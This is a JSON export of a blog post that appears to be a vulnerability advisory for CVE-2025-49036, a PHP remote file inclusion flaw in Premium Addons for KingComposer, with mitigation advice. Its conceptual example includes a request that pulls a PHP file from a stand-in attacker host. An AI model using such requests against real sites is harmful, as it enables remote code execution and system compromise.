{"id":64307,"date":"2025-08-25T08:21:47","date_gmt":"2025-08-25T08:21:47","guid":{"rendered":""},"modified":"2025-08-31T21:18:40","modified_gmt":"2025-09-01T03:18:40","slug":"cve-2025-49036-php-remote-file-inclusion-vulnerability-in-premium-addons-for-kingcomposer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49036-php-remote-file-inclusion-vulnerability-in-premium-addons-for-kingcomposer\/","title":{"rendered":"<strong>CVE-2025-49036: PHP Remote File Inclusion Vulnerability in Premium Addons for KingComposer<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A serious vulnerability, CVE-2025-49036, has been identified within the octagonwebstudio Premium Addons for KingComposer. This vulnerability, known as PHP Remote File Inclusion (RFI), can potentially lead to a system compromise or data leak if successfully exploited. This susceptibility primarily affects users of the Premium Addons for KingComposer version up to 1.1.1. It&#8217;s vital for administrators and developers using this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6754-privilege-escalation-vulnerability-in-seo-metrics-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"72742\">plugin to understand the risks associated with this vulnerability<\/a> and take immediate steps to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49036<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27055-memory-corruption-leads-to-potential-system-compromise-during-image-encoding\/\"  data-wpil-monitor-id=\"74315\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3493756279\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Premium Addons for KingComposer | Up to 1.1.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52289-broken-access-control-vulnerability-in-magnusbilling-v7-8-5-3\/\"  data-wpil-monitor-id=\"73352\">vulnerability exists due to the improper control<\/a> of filename for Include\/Require Statement in PHP Program within the Premium Addons for KingComposer. This flaw allows an attacker to manipulate PHP&#8217;s include or require statements to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74629\">execute remote<\/a> PHP files. Attackers can exploit this to bypass expected control paths, thereby potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53499-critical-unauthorized-access-vulnerability-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72804\">unauthorized access<\/a>, system compromise, or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2778052066\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77251\">attacker sends a request to the server<\/a> with the path of the malicious file embedded in the URL. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76587\">file is then included and executed by the server-side PHP<\/a> engine:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\n{ &quot;param&quot;: &quot;value&quot; }<\/code><\/pre>\n<p>In this example, the malicious_file.php is hosted on the attacker&#8217;s server, and when the PHP engine processes the file parameter in the URL, it includes and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55345-arbitrary-file-overwrite-and-remote-code-execution-vulnerability-in-codex-cli\/\"  data-wpil-monitor-id=\"76787\">executes the attacker&#8217;s malicious PHP file<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply patches provided by the vendor as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Additionally, developers should also sanitize all inputs and avoid using user input directly in the include or require statements in PHP.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A serious vulnerability, CVE-2025-49036, has been identified within the octagonwebstudio Premium Addons for KingComposer. This vulnerability, known as PHP Remote File Inclusion (RFI), can potentially lead to a system compromise or data leak if successfully exploited. This susceptibility primarily affects users of the Premium Addons for KingComposer version up to 1.1.1. It&#8217;s vital for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64307","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64307","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64307"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64307\/revisions"}],"predecessor-version":[{"id":69618,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64307\/revisions\/69618"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64307"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64307"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64307"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64307"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64307"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64307"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64307"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64307"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64307"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}